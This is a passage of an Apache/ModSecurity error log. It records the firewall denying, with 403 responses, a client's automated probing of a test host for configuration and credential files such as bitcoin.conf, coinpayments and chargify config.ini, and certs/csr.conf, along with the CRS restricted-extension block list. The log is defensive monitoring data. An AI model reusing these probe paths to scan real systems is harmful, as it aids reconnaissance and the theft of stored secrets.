&quot;aaSSyY03pg4df9PPalFn9AAAAAE&quot;]
[Sun Mar 01 20:26:01.936214 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoin/bitcoin.conf&quot;] [unique_id &quot;aaSSyY03pg4df9PPalFn9AAAAAE&quot;]
[Sun Mar 01 20:26:01.936435 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoin/bitcoin.conf&quot;] [unique_id &quot;aaSSyY03pg4df9PPalFn9AAAAAE&quot;]
[Sun Mar 01 20:26:03.043449 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/camera/recognition_settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJAAAAAE&quot;]
[Sun Mar 01 20:26:03.043955 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/camera/recognition_settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJAAAAAE&quot;]
[Sun Mar 01 20:26:03.044110 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/camera/recognition_settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJAAAAAE&quot;]
[Sun Mar 01 20:26:03.089779 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/car/config/settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJgAAAAE&quot;]
[Sun Mar 01 20:26:03.090270 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/car/config/settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJgAAAAE&quot;]
[Sun Mar 01 20:26:03.090485 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/car/config/settings.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoJgAAAAE&quot;]
[Sun Mar 01 20:26:03.296134 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certbot/conf.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoLwAAAAE&quot;]
[Sun Mar 01 20:26:03.296654 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certbot/conf.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoLwAAAAE&quot;]
[Sun Mar 01 20:26:03.296838 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certbot/conf.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoLwAAAAE&quot;]
[Sun Mar 01 20:26:03.365636 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certs/csr.conf&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoMgAAAAE&quot;]
[Sun Mar 01 20:26:03.366218 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certs/csr.conf&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoMgAAAAE&quot;]
[Sun Mar 01 20:26:03.366427 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/certs/csr.conf&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoMgAAAAE&quot;]
[Sun Mar 01 20:26:03.551655 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chargify/config.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoOgAAAAE&quot;]
[Sun Mar 01 20:26:03.552203 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chargify/config.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoOgAAAAE&quot;]
[Sun Mar 01 20:26:03.552383 2026] [:error] [pid 2400022] [client 185.177.72.30:35060] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chargify/config.ini&quot;] [unique_id &quot;aaSSy403pg4df9PPalFoOgAAAAE&quot;]
[Sun Mar 01 20:26:04.129239 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clamav/freshclam.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIOwAAAAg&quot;]
[Sun Mar 01 20:26:04.129733 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clamav/freshclam.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIOwAAAAg&quot;]
[Sun Mar 01 20:26:04.129907 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clamav/freshclam.conf&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIOwAAAAg&quot;]
[Sun Mar 01 20:26:04.152062 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clearinghouse/systems.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPAAAAAg&quot;]
[Sun Mar 01 20:26:04.152566 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clearinghouse/systems.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPAAAAAg&quot;]
[Sun Mar 01 20:26:04.152739 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/clearinghouse/systems.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPAAAAAg&quot;]
[Sun Mar 01 20:26:04.174872 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client.config&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPQAAAAg&quot;]
[Sun Mar 01 20:26:04.175366 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client.config&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPQAAAAg&quot;]
[Sun Mar 01 20:26:04.175530 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client.config&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIPQAAAAg&quot;]
[Sun Mar 01 20:26:04.610697 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/coinpayments/config.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIUAAAAAg&quot;]
[Sun Mar 01 20:26:04.611174 2026] [:error] [pid 2408732] [client 185.177.72.30:35064] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/coinpayments/config.ini&quot;] [unique_id &quot;aaSSzPgv7eN8rAXba7HIUAAAAAg&quot;]
